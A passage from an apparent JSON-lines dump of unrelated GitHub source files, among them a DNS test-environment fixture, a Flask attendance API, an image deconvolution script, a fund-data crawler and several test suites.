\"WatchObjectsEventCountLimit\": 2000,\n \"WatchObjectsTimeLimit\": \"15s\",\n },\n },\n \"YPReplicaConfig\": {\n \"StorageConfig\": {\n \"ValidationConfig\": {\"MaxAge\": \"86400s\"},\n \"Path\": \"dns_record_sets_storage\",\n \"AgeAlertThreshold\": \"60s\",\n },\n \"BackupConfig\": {\n \"Path\": \"dns_record_sets_backup\",\n \"BackupFrequency\": \"60s\",\n \"BackupLogFiles\": False,\n \"MaxBackupsNumber\": 50,\n },\n \"ChunkSize\": 25000,\n \"GetUpdatesMode\": \"WATCH_UPDATES\",\n \"WatchObjectsEventCountLimit\": 25000,\n \"WatchObjectsTimeLimit\": \"5s\",\n },\n}\n\nDEFAULT_UNBOUND_ENV_CONFIG = {\n \"start_unbound\": True,\n \"wait_for_yp_dns_start\": False,\n \"wait_for_yp_dns_readiness\": False,\n}\n\n\nclass UnboundTestEnvironment(object):\n def __init__(\n self, *,\n unbound_config=None,\n yp_dns_config=None,\n start=True,\n wait_for_yp_dns_start=False,\n wait_for_yp_dns_readiness=False,\n ):\n unbound_config = yt.common.update(DEFAULT_UNBOUND_CONFIG, unbound_config)\n yp_dns_config = yt.common.update(DEFAULT_YP_DNS_CONFIG, yp_dns_config)\n\n self._workdir = yatest.common.output_path(path='unbound_test_env')\n\n self.unbound_instance = UnboundInstance(\n workdir=self._workdir,\n unbound_config=unbound_config,\n yp_dns_config=yp_dns_config,\n )\n\n if start:\n self.start()\n\n if wait_for_yp_dns_start:\n self.unbound_instance.wait_for_yp_dns_start()\n\n if wait_for_yp_dns_readiness:\n self.unbound_instance.wait_for_yp_dns_readiness()\n\n def start(self, *args, **kwargs):\n try:\n self.unbound_instance.start(*args, **kwargs)\n except:\n logging.exception(\"Failed to start Unbound test environment\")\n raise\n\n def stop(self):\n try:\n self.unbound_instance.stop()\n except:\n logging.exception(\"Failed to stop Unbound test environment\")\n raise\n\n\ndef fill_yp(yp_env, content):\n yp_client = yp_env.yp_instance.create_client()\n for object_type, values in content.items():\n object_type = object_type.removesuffix('s')\n for value in values:\n yp_client.create_object(object_type, attributes=value)\n\n\n@pytest.fixture(scope=\"class\")\ndef test_environment(request):\n yp_environments = {}\n yp_grpc_addresses = {}\n\n def add_yp_env(cluster):\n start_yp = getattr(request.cls, \"START\", True)\n if cluster not in yp_environments:\n yp_grpc_addresses[cluster] = None\n\n if not start_yp:\n yp_master_config = getattr(request.cls, \"YP_MASTER_CONFIG\", {})\n yp_grpc_addresses[cluster] = f\"localhost:{network.PortManager().get_port()}\"\n yp_master_config.setdefault(\"client_grpc_server\", {})[\"addresses\"] = [\n {\"address\": yp_grpc_addresses[cluster]},\n ]\n setattr(request.cls, \"YP_MASTER_CONFIG\", yp_master_config)\n\n yp_environments[cluster] = request.getfixturevalue('test_environment_configurable')\n\n if yp_grpc_addresses[cluster] is None:\n yp_grpc_addresses[cluster] = yp_environments[cluster].yp_instance.yp_client_grpc_address\n\n return yp_environments[cluster], yp_grpc_addresses[cluster]\n\n yp_dns_config = getattr(request.cls, \"YP_DNS_CONFIG\", None)\n cluster_names = set([])\n if yp_dns_config is not None:\n # YP instance for each cluster set in YP DNS config\n cluster_names |= set(map(lambda cluster_config: cluster_config[\"Name\"], yp_dns_config.get(\"YPClusterConfigs\", [])))\n\n # YP instance for cluster with dynamic zones\n if yp_dns_config.get(\"DynamicZonesConfig\", {}).get(\"Enabled\", DEFAULT_YP_DNS_CONFIG[\"DynamicZonesConfig\"][\"Enabled\"]):\n cluster_names.add(yp_dns_config[\"DynamicZonesConfig\"][\"YPClusterConfig\"][\"Name\"])\n\n for cluster_name in cluster_names:\n add_yp_env(cluster_name)\n\n return yp_environments, yp_grpc_addresses\n\n\n@pytest.fixture(scope=\"function\")\ndef unbound_env(request, test_environment):\n yp_environments, yp_grpc_addresses = test_environment\n\n for yp_environment in yp_environments.values():\n yp_conftest.test_method_setup(yp_environment)\n request.addfinalizer(lambda: yp_conftest.test_method_teardown(yp_environment))\n\n yp_content = getattr(request.cls, \"YP_CONTENT\", {})\n # TODO: check that YP instances are started\n for cluster, content in yp_content.items():\n fill_yp(yp_environments[cluster], content)\n\n yp_dns_config = getattr(request.cls, \"YP_DNS_CONFIG\", None)\n if yp_dns_config is not None:\n for cluster_config in yp_dns_config.get(\"YPClusterConfigs\", []):\n cluster_config[\"Address\"] = yp_grpc_addresses[cluster_config[\"Name\"]]\n\n # init YP instance for cluster with dynamic zones\n if yp_dns_config.get(\"DynamicZonesConfig\", {}).get(\"Enabled\", DEFAULT_YP_DNS_CONFIG[\"DynamicZonesConfig\"][\"Enabled\"]):\n yp_dns_config.setdefault(\"DynamicZonesConfig\", {}).setdefault(\"YPClusterConfig\", {})[\"Address\"] = \\\n yp_grpc_addresses[yp_dns_config[\"DynamicZonesConfig\"][\"YPClusterConfig\"][\"Name\"]]\n\n env_config = DEFAULT_UNBOUND_ENV_CONFIG | getattr(request.cls, \"UNBOUND_ENV_CONFIG\", {})\n\n unbound_environment = UnboundTestEnvironment(\n unbound_config=getattr(request.cls, \"UNBOUND_CONFIG\", None),\n yp_dns_config=yp_dns_config,\n start=env_config[\"start_unbound\"],\n wait_for_yp_dns_start=env_config[\"wait_for_yp_dns_start\"],\n wait_for_yp_dns_readiness=env_config[\"wait_for_yp_dns_readiness\"],\n )\n\n request.addfinalizer(lambda: unbound_environment.stop())\n\n return unbound_environment, yp_environments\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/conftest (33).py","file_name":"conftest (33).py","file_ext":"py","file_size_in_byte":7713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18334362851","text":"import sys\nimport math\nimport bisect\nfrom heapq import heapify, heappop, heappush\nfrom collections import deque, defaultdict, Counter\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\nMOD99 = 998244353\n\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\nSMI = lambda: input().split()\nSLI = lambda: list(SMI())\n\n\ndef cum_2D(A):\n \"\"\"\n 2次元リストAの累積和(左と上は0になる)\n \"\"\"\n H = len(A)\n W = len(A[0])\n C = [[0]*(W+1) for _ in range(H+1)]\n\n for h in range(H):\n cw = 0\n for w in range(W):\n cw += A[h][w]\n if h == 0 and w == 0:\n C[h+1][w+1] = A[h][w]\n elif h == 0:\n C[h+1][w+1] = A[h][w] + C[h+1][w]\n elif w == 0:\n C[h+1][w+1] = A[h][w] + C[h][w+1]\n else:\n C[h+1][w+1] = C[h][w+1] + cw\n\n return C\n\n\ndef main():\n H, W, N = NMI()\n ABCD = [NLI() for _ in range(N)]\n \n X = [[0]*(W+1) for _ in range(H+1)]\n for a, b, c, d in ABCD:\n X[a-1][b-1] += 1\n X[c][b-1] -= 1\n X[a-1][d] -= 1\n X[c][d] += 1\n ans = cum_2D(X)\n\n for h in range(1, H+1):\n print(*ans[h][1:W+1])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"tessoku-book/A09.py","file_name":"A09.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7225488523","text":"from utils.utils import str2bool\n\n\ndef quadrotors_override_defaults(env, parser):\n parser.set_defaults(\n encoder_type='mlp',\n encoder_subtype='mlp_quads',\n hidden_size=256,\n encoder_extra_fc_layers=0,\n env_frameskip=1,\n )\n\n\n# noinspection PyUnusedLocal\ndef add_quadrotors_env_args(env, parser):\n p = parser\n\n p.add_argument('--quads_discretize_actions', default=-1, type=int, help='Discretize actions into N bins for each individual action. Default (-1) means no discretization')\n p.add_argument('--quads_clip_input', default=False, type=str2bool, help='Whether to clip input to ensure it stays relatively small')\n p.add_argument('--quads_effort_reward', default=None, type=float, help='Override default value for effort reward')\n","repo_name":"PeterZs/sample-factory","sub_path":"envs/quadrotors/quadrotor_params.py","file_name":"quadrotor_params.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"37677437224","text":"from flask import Flask\nfrom flask import Blueprint\nfrom flask import request\nfrom flask import jsonify\nfrom werkzeug.utils import secure_filename\nimport json\nfrom flask_cors import CORS, cross_origin\nimport requests\nfrom metodos_temp import MetodosTemp\nfrom backend.models.asistencia_model import AsistenciaModel\nmodel=AsistenciaModel()\n\n\nasistencia_blueprint = Blueprint('asistencia_blueprint', __name__)\n\n\n@asistencia_blueprint.route('/asistencia', methods=['PUT'])\n@cross_origin()\ndef create_asistencia():\n content = model.create_asistencia(request.json['fecha'],request.json['id_horario'], request.json['id_alumno'], request.json['presente']) \n return jsonify(content)\n\n@asistencia_blueprint.route('/asistencia', methods=['PATCH'])\n@cross_origin()\ndef update_asistencia():\n content = model.update_asistencia(request.json['id_asist'],request.json['fecha'],request.json['id_horario'], request.json['id_alumno'], request.json['presente']) \n return jsonify(content)\n\n@asistencia_blueprint.route('/asistencia', methods=['DELETE'])\n@cross_origin()\ndef delete_asistencia():\n return jsonify(model.delete_asistencia(int(request.json['id_asist'])))\n\n@asistencia_blueprint.route('/asistencia', methods=['POST'])\n@cross_origin()\ndef get_asistencia():\n return jsonify(model.get_asistencia(int(request.json['id_asist'])))\n\n@asistencia_blueprint.route('/asistencias', methods=['POST'])\n@cross_origin()\ndef get_asistencias():\n return jsonify(model.get_asistencias())\n\n@asistencia_blueprint.route('/tomar_asistencia', methods=['POST'])\n@cross_origin()\ndef tomar_asistencia():\n if request.method == 'POST':\n # File and JSON data\n data_dni = json.loads(request.form.get('dni'))\n f = request.files['file']\n path = MetodosTemp.savePathAsis(f)\n file1 = MetodosTemp.callOpenFaceAPI(path)\n vector2 = MetodosTemp.transformacion(file1)\n vector1 = model.get_vector(data_dni)\n vector1 = MetodosTemp.transformacion2(vector1)\n comprobar = MetodosTemp.Euclides(vector1,vector2)\n if comprobar < 0.5 :\n return \"la identidad es verdadera\"\n else:\n return \"alumno no coincide\"\n","repo_name":"Geronymus/construccion","sub_path":"backend/blueprints/asistencia_blueprint.py","file_name":"asistencia_blueprint.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18480171529","text":"class reverse_iter:\n def __init__(self, iterable):\n self.iterable = iterable\n self.len = len(self.iterable) - 1\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.len < 0:\n raise StopIteration\n else:\n index = self.len\n self.len -= 1\n return self.iterable[index]\n\n\nreversed_list = reverse_iter([1, 2, 3, 4])\nfor item in reversed_list:\n print(item)\n\nprint(reversed_list.iterable)","repo_name":"RadoslavTs/SoftUni-Courses","sub_path":"4. Python OOP/8. Iterators and Generators/Lab/02. reverse_iter.py","file_name":"02. reverse_iter.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28147186956","text":"from unittest.mock import patch\nfrom swarms.swarms.god_mode import GodMode, LLM\n\n\ndef test_godmode_initialization():\n godmode = GodMode(llms=[LLM] * 5)\n assert isinstance(godmode, GodMode)\n assert len(godmode.llms) == 5\n\n\ndef test_godmode_run(monkeypatch):\n def mock_llm_run(self, task):\n return \"response\"\n\n monkeypatch.setattr(LLM, \"run\", mock_llm_run)\n godmode = GodMode(llms=[LLM] * 5)\n responses = godmode.run(\"task1\")\n assert len(responses) == 5\n assert responses == [\n \"response\",\n \"response\",\n \"response\",\n \"response\",\n \"response\",\n ]\n\n\n@patch(\"builtins.print\")\ndef test_godmode_print_responses(mock_print, monkeypatch):\n def mock_llm_run(self, task):\n return \"response\"\n\n monkeypatch.setattr(LLM, \"run\", mock_llm_run)\n godmode = GodMode(llms=[LLM] * 5)\n godmode.print_responses(\"task1\")\n assert mock_print.call_count == 1\n","repo_name":"kyegomez/swarms","sub_path":"tests/swarms/test_godmode.py","file_name":"test_godmode.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":264,"dataset":"github-code","pt":"3"} +{"seq_id":"1514446436","text":"from time import time\nfrom time import sleep\nimport interfaceTools as it\nfrom progress.bar import Bar, ChargingBar\nimport imageFunctions as imf\nfrom deconvTF import deconvolveTF\nimport tiff as tif\nimport os\nimport sys\nimport tifffile\nimport numpy as np\n\nmessage = ''\n\ndef deconvolutionTiff(img,psf,iterations,weight):\n\t#deconv_list=img\n\t\n\tif(img.ndim==3):\n\t\tfor c in range(img.shape[0]):\n\t\t\timg_denoised = imf.denoisingTV(img[c,:,:], weight)\n\t\t\tdeconv = deconvolveTF(img_denoised,psf[c,:,:],iterations) #Funcion de deconvolucion de imagenes\n\t\t\tdeconvN = imf.normalizar(deconv) #Se normaliza la matriz \n\t\t\tprint('Channel ',c+1,' deconvolved')\n\t\t\tdeconv_list[c,:,:]=deconvN\n\tif(img.ndim==4):\n\t\tif(imf.istiffRGB(img.shape)):\n\t\t\tfor c in range(img.shape[0]):\n\t\t\t\tdeconv= deconvolutionRGB(img[c,:,:,:],psf[c,:,:], iterations, weight) #Funcion de deconvolucion de imagenes\n\t\t\t\tprint('Channel ',c+1,' deconvolved')\n\t\t\t\tdeconv_list[c,:,:,:]=deconv\n\t\telse:\n\t\t\tdeconv_list=np.zeros((img.shape[0],img.shape[3],img.shape[1],img.shape[2]), dtype=\"int16\")\n\t\t\tfor c in range(img.shape[3]):\n\t\t\t\tbar = Bar(\"\\nChannel \"+str(c+1)+' :', max=img.shape[0])\n\t\t\t\tfor z in range(img.shape[0]):\n\t\t\t\t\timg_denoised = imf.denoisingTV(img[z,:,:,c], weight)\n\t\t\t\t\tdeconv= deconvolveTF(img_denoised,psf[z,:,:,c], iterations) #Funcion de deconvolucion de imagenes\n\t\t\t\t\tdeconvN = imf.normalizar(deconv) #Se normaliza la matriz \n\t\t\t\t\tdeconv_list[z,:,:,c]=deconvN\n\t\t\t\t\tbar.next()\n\t\t\t\tbar.finish()\n\tif(img.ndim==5):\n\t\tfor c in range(img.shape[0]):\n\t\t\tfor z in range(img.shape[1]):\n\t\t\t\tdeconv= deconvolutionRGB(img[z,c,:,:,:],psf[z,c,:,:,:], iterations) #Funcion de deconvolucion de imagenes\n\t\t\t\tdeconv_list[z,c,:,:,:]=deconv\n\t\t\tprint('Channel ',c+1,' deconvolved')\t\n\treturn deconv_list\n\t\ndef deconvolutionRGB(img,psf,iterations,weight):\n\timgG=imf.escalaGrises(img)\n\timg_denoised = imf.denoisingTV(imgG,weight)\n\tdeconv=deconvolveTF(img_denoised, psf, iterations) #Funcion de deconvolucion de imagenes\n\tdeconvN=imf.normalizar(deconv)\n\tdeconvC=imf.elegirCanal('r',deconv)\n\treturn deconvC\n\t\ndef deconvolution1Frame(img,psf,iterations):\n\timg_denoised = imf.denoisingTV(imgG,weight)\n\tdeconv=deconvolveTF(img_denoised, psf, iterations) #Funcion de deconvolucion de imagenes\n\tdeconvN=imf.normalizar(deconv)\n\treturn deconvN\n\t\n\ndef deconvolutionMain(imgpath,psfpath,i,weight):\n\tglobal message\n\tto=time()\n\t# Construct the argument parse and parse the arguments\n\t#imgpath, psfpath, i , weight = sys.argv[1:5]\n\tif (os.path.exists(imgpath) and os.path.exists(psfpath)):\n\t\tnameFile, extImage = os.path.splitext(imgpath) #Se separa el nombre de la imagen y la extesion\n\t\textPSF = os.path.splitext(psfpath)[1] #Se obtiene la extesion de la psf\n\t\tnameFile = nameFile.split('/')[len(nameFile.split('/'))-1] #Extrae el nombre de la imagen si no se encuentra en el mismo direcctorio\n\t\tweight=int(weight)\n\t\tpath = os.path.dirname(os.path.realpath(sys.argv[0])) #Direcctorio donde se almacenara el resultado\n\t\t#path = \"C:/Users/\"+os.getlogin()+\"/Desktop\"-\n\t\tsavepath = os.path.join(path,'Deconvolutions\\Deconvolution_'+nameFile+'.tif')\n\t\t\n\t\tif(extImage=='.tif'):\n\t\t\ttiff = tif.readTiff(imgpath)\n\t\t\tdimtiff = tiff.ndim\n\t\t\tpsf = tif.readTiff(psfpath)\n\t\t\ttiffdeconv = tiff\n\t\t\tif(imf.validatePSF(tiff,psf)):\n\t\t\t\tmessage = '\\nFiles are supported\\nStarting deconvolution'\n\t\t\t\tprint(message)\n\t\t\t\tif(dimtiff==2):\n\t\t\t\t\ttiffdeconv = deconvolution1Frame(tiff,psf,i,weight)\n\t\t\t\tif(dimtiff==3):\n\t\t\t\t\tif(tif.istiffRGB(tiff.shape)):\n\t\t\t\t\t\ttiffdeconv = deconvolutionRGB(tiff,psf,i,weight)\n\t\t\t\t\telse:\n\t\t\t\t\t\ttiffdeconv = deconvolutionTiff(tiff,psf,i,weight)\n\t\t\t\tif(dimtiff==4):\n\t\t\t\t\ttiffdeconv = deconvolutionTiff(tiff,psf,i,weight)\n\t\t\telse:\n\t\t\t\tmessage = 'Wrong psf dimention, please enter a valid psf'\n\t\t\t\tprint(message)\n\t\t\t\texit()\n\t\t\ttifffile.imsave(savepath, tiffdeconv, imagej=True)\n\t\t\tmessage = 'Deconvolution successful, end of execution'\n\t\t\tprint(message)\n\t\telse:\n\t\t\tif(extImage=='.jpg' or extImage=='.png' or extImage=='.bmp'):\n\t\t\t\tif(extPSF=='.jpg' or extPSF=='.png' or extPSF=='.bmp'):\n\t\t\t\t\timg = imf.imgReadCv2(imgpath) #Leemos la imagen a procesar \n\t\t\t\t\tpsf = imf.imgReadCv2(psfpath) #Leemos la psf de la imagen\n\t\t\t\t\tpsf=imf.escalaGrises(psf)\n\t\t\t\t\tmessage = '\\nFiles are supported\\nStarting deconvolution'\n\t\t\t\t\tprint(message)\n\t\t\t\t\tit.statusbar['text']=message\n\t\t\t\t\tsleep(1)\n\t\t\t\t\tmessage = \"\\nProcessing: \"+nameFile+extImage\n\t\t\t\t\tit.statusbar['text']=message\n\t\t\t\t\tsleep(1)\n\t\t\t\t\tbar = Bar(message, max=1)\n\t\t\t\t\tprint('\\n')\n\t\t\t\t\tif(img.ndim>1):\n\t\t\t\t\t\t#warnings.filterwarnings('ignore', '.*',)\n\t\t\t\t\t\tdeconv=deconvolutionRGB(img,psf,i,weight)\n\t\t\t\t\t\tbar.next()\n\t\t\t\t\t\tbar.finish()\n\t\t\t\t\telse:\n\t\t\t\t\t\tdeconv=deconvolution1Frame(img,psf,i)\n\t\t\t\t\t#imf.guardarImagen(os.path.join(savepath,'\\Deconvolution_'+nameFile+'.bmp'),deconv)\n\t\t\t\t\timf.guardarImagen(os.getcwd()+'\\Deconvolutions\\Deconvolution_'+nameFile+'.bmp',deconv)\n\t\t\t\t\t#print(savepath,'\\Deconvolution_'+nameFile+'.bmp')\n\t\t\t\t\t#bar.finish()\n\t\t\t\t\tmessage = 'Deconvolution successful, end of execution'\n\t\t\t\t\tprint(message)\n\t\t\t\t\tit.statusbar['text']=message\n\t\t\t\t\tsleep(1)\n\t\t\telse:\n\t\t\t\tmessage = 'The file extension is not valid'\n\t\t\t\tprint(message)\n\t\ttf=time()\n\t\ttt=tf-to\n\t\tprint(\"Runtime: \",tt/60, \"minutes\")\n\t\tit.statusbar['text']=\"Runtime: \"+str(tt/60)+\"minutes\"\n\t\tsleep(1)\n\telse: \n\t\tmessage = 'There is no file or directory of the image or psf'\n\t\tprint(message)\n\tmessage = ''","repo_name":"CharlieBrianML/IFCSoftDeconv","sub_path":"deconvolution.py","file_name":"deconvolution.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30157969932","text":"# -*- coding: utf-8 -*-d\r\nfrom fund_data import FundInfo\r\nfrom bs4 import BeautifulSoup\r\nfrom utils import get_html_from_url, remove_duplicate, remove_useless\r\nfrom write_data import write_fund_info_to_es, write_manager_info_to_es, delete_index_es\r\nimport threading\r\nimport numpy\r\nfrom elasticsearch import Elasticsearch\r\n\r\nes_list = [{'host':'127.0.0.1','port':9200}]\r\nfund_info_index = 'fund_info'\r\nmanager_info_index = 'manager_info'\r\nthread_num = 4\r\nall_index = [fund_info_index, manager_info_index]\r\nall_manager_name_info = []\r\n\r\n\r\ndef get_one_fund_info(url, name, code):\r\n fund_info = None\r\n html = get_html_from_url(url)\r\n if html:\r\n html.encoding='utf-8'\r\n soup = BeautifulSoup(html.text, \"html.parser\")\r\n # 如果网页重定向就更新url\r\n redirect = soup.find(name='head').find(name='script', attrs={'type': 'text/javascript'})\r\n if redirect != None and redirect.contents[0] != None and 'location.href' in redirect.contents[0]:\r\n real_url = redirect.contents[0].split('\"')[1]\r\n html = get_html_from_url(real_url)\r\n if html:\r\n html.encoding='utf-8'\r\n soup = BeautifulSoup(html.text, 'lxml')\r\n fund_info = FundInfo(soup, name, code)\r\n return fund_info\r\n\r\ndef get_all_data(root_url):\r\n es = Elasticsearch(es_list)\r\n # 删除es下index的数据,避免重复写入\r\n for index in all_index:\r\n if delete_index_es(es, index) == False:\r\n print('terminal program')\r\n return\r\n\r\n # 获取所有基金的code和name \r\n root_html = get_html_from_url(root_url)\r\n if root_html:\r\n root_html.encoding='utf-8'\r\n tmp_str = root_html.text.split('=')[-1].split(';')[0]\r\n all_data = eval(tmp_str)\r\n all_data = remove_useless(all_data)\r\n threads = []\r\n data = numpy.array_split(all_data, thread_num)\r\n for value in data:\r\n t = threading.Thread(target=work_func, args=(value, es))\r\n threads.append(t)\r\n t.start()\r\n\r\n for t in threads:\r\n t.join()\r\n\r\ndef work_func(all_data, es):\r\n # 逐个爬取数据\r\n for data in all_data:\r\n url = 'http://fund.eastmoney.com/' + data[0] + '.html'\r\n print('==== start to get data of %s %s ===='%(data[0], data[2]))\r\n one_fund_info = get_one_fund_info(url, data[2], data[0])\r\n print('==== end to get data of %s %s ===='%(data[0], data[2]))\r\n\r\n if one_fund_info:\r\n # 将基金信息写入es\r\n write_fund_info_to_es(one_fund_info, es, fund_info_index)\r\n # 将基金经理信息写入es\r\n manager_info = one_fund_info.manager_info\r\n manager_name_list, manager_fund_info_list = remove_duplicate(manager_info.manager_name_list, manager_info.manager_fund_info_list, all_manager_name_info)\r\n write_manager_info_to_es(manager_name_list, manager_fund_info_list, es, manager_info_index)\r\n\r\nif __name__ == \"__main__\":\r\n root_url = 'http://fund.eastmoney.com/js/fundcode_search.js'\r\n get_all_data(root_url)\r\n","repo_name":"nanbaosong/fund_analyze","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39686665564","text":"import logging\nimport os\nimport subprocess\nfrom pathlib import Path\nfrom typing import Callable, Generator\nfrom uuid import uuid4\n\nimport pylxd.models\nimport pytest\nfrom pylxd import Client\n\nfrom tests.functional.setup_lxd import cleanup_environment, setup_environment\n\nlogger = logging.getLogger(__name__)\n\n\nDEFAULT_SERIES = \"jammy\"\nCLIENT_CONAINER_KEY = pytest.StashKey[str]()\nCONTROLLERS_CONTAINERS_KEY = pytest.StashKey[list]()\nSESSION_UUID_KEY = pytest.StashKey[str]()\n\n\ndef check_dependencies(*dependencies) -> None:\n \"\"\"Check if dependencies are installed.\"\"\"\n errors = []\n for dependency in dependencies:\n try:\n subprocess.check_output([\"which\", dependency])\n except subprocess.CalledProcessError:\n errors.append(f\"Missing {dependency} dependency.\")\n\n if errors:\n raise RuntimeError(os.linesep.join(errors))\n\n\ndef build_snap(build: bool) -> Path:\n \"\"\"Build JujuSpell snap.\"\"\"\n path = Path(os.environ.get(\"TEST_SNAP\", \"./juju-spell.snap\"))\n\n if build and \"TEST_SNAP\" not in os.environ:\n print(\"snapcraft: building JujuSpell\")\n subprocess.check_output([\"snapcraft\", \"pack\"])\n subprocess.check_output([\"bash\", \"rename.sh\"])\n\n if path.exists():\n return path\n\n raise RuntimeError(\"Something went wrong with building snap\")\n\n\ndef pytest_addoption(parser):\n \"\"\"Add custom CLI options.\"\"\"\n parser.addoption(\n \"--series\",\n type=str,\n default=DEFAULT_SERIES,\n help=\"create lxd controllers with series\",\n )\n parser.addoption(\n \"--no-build\", action=\"store_false\", help=\"flag to disable building new snap\"\n )\n parser.addoption(\n \"--keep-env\",\n action=\"store_false\",\n help=\"flag to disable environment destroyment\",\n )\n\n\ndef pytest_configure(config):\n \"\"\"Configure environment.\"\"\"\n series = config.getoption(\"series\")\n build = config.getoption(\"no_build\")\n keep_env = config.getoption(\"keep_env\")\n session_uuid = str(uuid4())[:8] # short version of uuid\n\n check_dependencies(\"juju\", \"lxd\", \"snapcraft\")\n snap_path = build_snap(build)\n try:\n client, controllers = setup_environment(session_uuid, series, snap_path)\n config.stash[SESSION_UUID_KEY] = session_uuid\n config.stash[CLIENT_CONAINER_KEY] = client\n config.stash[CONTROLLERS_CONTAINERS_KEY] = controllers\n # Note (rgildein): function add_cleanup does not supports args or kwargs\n config.add_cleanup(lambda: cleanup_environment(session_uuid, keep_env))\n except Exception:\n cleanup_environment(session_uuid, keep_env)\n raise\n\n\n@pytest.fixture\ndef session_uuid(pytestconfig) -> str:\n \"\"\"Get session uuid.\"\"\"\n return pytestconfig.stash[SESSION_UUID_KEY]\n\n\n@pytest.fixture\ndef client(pytestconfig, tmp_path, controllers) -> pylxd.models.Instance:\n \"\"\"Return LXD container where JujuSpell is installed.\"\"\"\n name = pytestconfig.stash[CLIENT_CONAINER_KEY]\n client = Client()\n return client.instances.get(name)\n\n\n@pytest.fixture\ndef controllers(pytestconfig) -> Generator[pylxd.models.Instance, None, None]:\n \"\"\"Return LXD containers for controllers.\"\"\"\n controllers = pytestconfig.stash[CONTROLLERS_CONTAINERS_KEY]\n client = Client()\n\n return (client.instances.get(name) for name in controllers)\n\n\n@pytest.fixture\ndef juju_spell_run(client) -> Callable:\n \"\"\"Return Callable function to execute JujuSpell command.\"\"\"\n\n def wrapper(*args):\n result = client.execute(\n [\"juju-spell\", *args], user=1000, group=1000, cwd=\"/home/ubuntu\"\n )\n print(\n f\"LXD: command {args} finished with exit_code {result.exit_code}\"\n f\"{os.linesep}stdout: {result.stdout}{os.linesep}stderr: {result.stderr}\"\n )\n return result\n\n return wrapper\n","repo_name":"rgildein/juju-spell","sub_path":"tests/functional/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14071075919","text":"import numpy as np\nimport pytest\nfrom numpy.testing import assert_\n\nimport nifty5 as ift\n\nfrom ..common import list2fixture\n\npmp = pytest.mark.parametrize\nspace = list2fixture([\n ift.GLSpace(15),\n ift.RGSpace(64, distances=.789),\n ift.RGSpace([32, 32], distances=.789)\n])\nspace1 = space\nseed = list2fixture([4, 78, 23])\n\n\ndef _make_linearization(type, space, seed):\n np.random.seed(seed)\n S = ift.ScalingOperator(1., space)\n s = S.draw_sample()\n if type == \"Constant\":\n return ift.Linearization.make_const(s)\n elif type == \"Variable\":\n return ift.Linearization.make_var(s)\n raise ValueError('unknown type passed')\n\n\ndef testBasics(space, seed):\n var = _make_linearization(\"Variable\", space, seed)\n model = ift.ScalingOperator(6., var.target)\n ift.extra.check_jacobian_consistency(model, var.val)\n\n\n@pmp('type1', ['Variable', 'Constant'])\n@pmp('type2', ['Variable'])\ndef testBinary(type1, type2, space, seed):\n dom1 = ift.MultiDomain.make({'s1': space})\n dom2 = ift.MultiDomain.make({'s2': space})\n\n # FIXME Remove this?\n _make_linearization(type1, dom1, seed)\n _make_linearization(type2, dom2, seed)\n\n dom = ift.MultiDomain.union((dom1, dom2))\n select_s1 = ift.ducktape(None, dom1, \"s1\")\n select_s2 = ift.ducktape(None, dom2, \"s2\")\n model = select_s1*select_s2\n pos = ift.from_random(\"normal\", dom)\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n model = select_s1 + select_s2\n pos = ift.from_random(\"normal\", dom)\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n model = select_s1.scale(3.)\n pos = ift.from_random(\"normal\", dom1)\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n model = ift.ScalingOperator(2.456, space)(select_s1*select_s2)\n pos = ift.from_random(\"normal\", dom)\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n model = ift.sigmoid(2.456*(select_s1*select_s2))\n pos = ift.from_random(\"normal\", dom)\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n pos = ift.from_random(\"normal\", dom)\n model = ift.OuterProduct(pos['s1'], ift.makeDomain(space))\n ift.extra.check_jacobian_consistency(model, pos['s2'], ntries=20)\n model = select_s1**2\n pos = ift.from_random(\"normal\", dom1)\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n model = select_s1.clip(-1, 1)\n pos = ift.from_random(\"normal\", dom1)\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n f = ift.from_random(\"normal\", space)\n model = select_s1.clip(f-0.1, f+1.)\n pos = ift.from_random(\"normal\", dom1)\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n if isinstance(space, ift.RGSpace):\n model = ift.FFTOperator(space)(select_s1*select_s2)\n pos = ift.from_random(\"normal\", dom)\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n\n\ndef testModelLibrary(space, seed):\n # Tests amplitude model and coorelated field model\n np.random.seed(seed)\n domain = ift.PowerSpace(space.get_default_codomain())\n model = ift.SLAmplitude(target=domain, n_pix=4, a=.5, k0=2, sm=3, sv=1.5,\n im=1.75, iv=1.3)\n assert_(isinstance(model, ift.Operator))\n S = 